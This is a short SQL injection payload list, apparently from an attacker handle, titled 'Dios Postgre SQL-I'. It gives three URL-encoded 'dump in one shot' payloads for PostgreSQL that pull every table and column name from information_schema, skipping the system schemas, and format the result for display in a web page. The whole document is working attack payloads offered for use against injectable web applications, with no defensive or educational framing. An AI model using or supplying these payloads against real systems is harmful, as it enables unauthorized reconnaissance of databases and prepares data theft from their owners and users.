Dios Postgre SQL-I :: #No_IDentiTy

Dios 1 :
(select+array_to_string(array(select+table_name||':::'||column_name::text+from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$)),'%3Cli%3E'))

Dios 2 :
(select+string_agg(concat(table_name,'::',column_name),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$))

Dios 3 :
(select+array_to_string(array_agg(concat(table_name,'::',column_name)::text),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$))